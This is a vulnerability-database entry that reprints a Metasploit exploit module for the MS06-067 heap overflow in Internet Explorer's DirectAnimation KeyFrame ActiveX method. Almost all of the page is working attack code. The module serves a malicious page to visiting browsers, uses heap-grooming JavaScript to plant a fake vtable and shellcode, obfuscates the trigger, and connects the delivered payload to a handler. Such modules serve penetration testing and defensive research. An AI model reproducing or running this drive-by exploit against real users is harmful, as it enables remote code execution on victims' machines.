Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerabilit

                                                ##
# $Id: ms06_067_keyframe.rb 9842 2010-07-16 02:33:25Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	#
	# This module acts as an HTTP server
	#
	include Msf::Exploit::Remote::HttpServer::HTML


	#
	# Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
	#
	#include Msf::Exploit::Remote::BrowserAutopwn
	#autopwn_info({
	#	:ua_name    =&#62; HttpClients::IE,
	#	:ua_minver  =&#62; &#34;6.0&#34;,
	#	:javascript =&#62; true,
	#	:os_name    =&#62; OperatingSystems::WINDOWS,
	#	:vuln_test  =&#62; &#39;KeyFrame&#39;,
	#	:classid    =&#62; &#39;DirectAnimation.PathControl&#39;,
	#	:rank       =&#62; NormalRanking  # reliable memory corruption
	#})

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Internet Explorer Daxctle.OCX KeyFrame Method Heap Buffer Overflow Vulnerability&#39;,
			&#39;Description&#39;    =&#62; %q{
				This module exploits a heap overflow vulnerability in the KeyFrame method of the
				direct animation ActiveX control.  This is a port of the exploit implemented by
				Alexander Sotirov.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					# Did all the hard work
					&#39;Alexander Sotirov &#60;[email protected]&#62;&#39;,
					# Integrated into msf
					&#39;skape&#39;,
				],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9842 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2006-4777&#39; ],
					[ &#39;OSVDB&#39;, &#39;28842&#39; ],
					[ &#39;BID&#39;, &#39;20047&#39; ],
					[ &#39;MSB&#39;, &#39;MS06-067&#39; ],
					[ &#39;URL&#39;, &#39;https://www.blackhat.com/presentations/bh-eu-07/Sotirov/Sotirov-Source-Code.zip&#39; ]
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					# Maximum payload size is limited by heaplib
					&#39;Space&#39;       =&#62; 870,
					&#39;MinNops&#39;     =&#62; 32,
					&#39;Compat&#39;      =&#62;
						{
							&#39;ConnectionType&#39; =&#62; &#39;-find&#39;,
						},
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows 2000/XP/2003 Universal&#39;, { }],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 14 2006&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def on_request_uri(cli, request)
		return if ((p = regenerate_payload(cli)) == nil)

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# This is taken directly from Alex&#39;s exploit -- all credit goes to him.
		trigger_js = heaplib(
			&#34;var target = new ActiveXObject(&#39;DirectAnimation.PathControl&#39;);\n&#34; +
			&#34;var heap = new heapLib.ie();\n&#34; +
			&#34;var shellcode = unescape(&#39;#{Rex::Text.to_unescape(p.encoded)}&#39;);\n&#34; +
			&#34;var jmpecx = 0x4058b5;\n&#34; +
			&#34;var vtable = heap.vtable(shellcode, jmpecx);\n&#34; +
			&#34;var fakeObjPtr = heap.lookasideAddr(vtable);\n&#34; +
			&#34;var fakeObjChunk = heap.padding((0x200c-4)/2) + heap.addr(fakeObjPtr) + heap.padding(14/2);\n&#34; +
			&#34;heap.gc();\n&#34; +
			&#34;for (var i = 0; i &#60; 100; i++)\n&#34; +
			&#34;  heap.alloc(vtable)\n&#34; +
			&#34;heap.lookaside(vtable);\n&#34; +
			&#34;for (var i = 0; i &#60; 100; i++)\n&#34; +
			&#34;  heap.alloc(0x2010)\n&#34; +
			&#34;heap.freeList(fakeObjChunk, 2);\n&#34; +
			&#34;target.KeyFrame(0x40000801, new Array(1), new Array(1));\n&#34; +
			&#34;delete heap;\n&#34;)

		# Obfuscate it up a bit
		trigger_js = obfuscate_js(trigger_js,
			&#39;Symbols&#39; =&#62;
				{
					&#39;Variables&#39; =&#62; [ &#39;target&#39;, &#39;heap&#39;, &#39;shellcode&#39;, &#39;jmpecx&#39;, &#39;fakeObjPtr&#39;, &#39;fakeObjChunk&#39; ]
				})

		# Fire off the page to the client
		send_response(cli,
			&#34;&#60;html&#62;&#60;script language=&#39;javascript&#39;&#62;#{trigger_js}&#60;/script&#62;&#60;/html&#62;&#34;)

		# Handle the payload
		handler(cli)
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1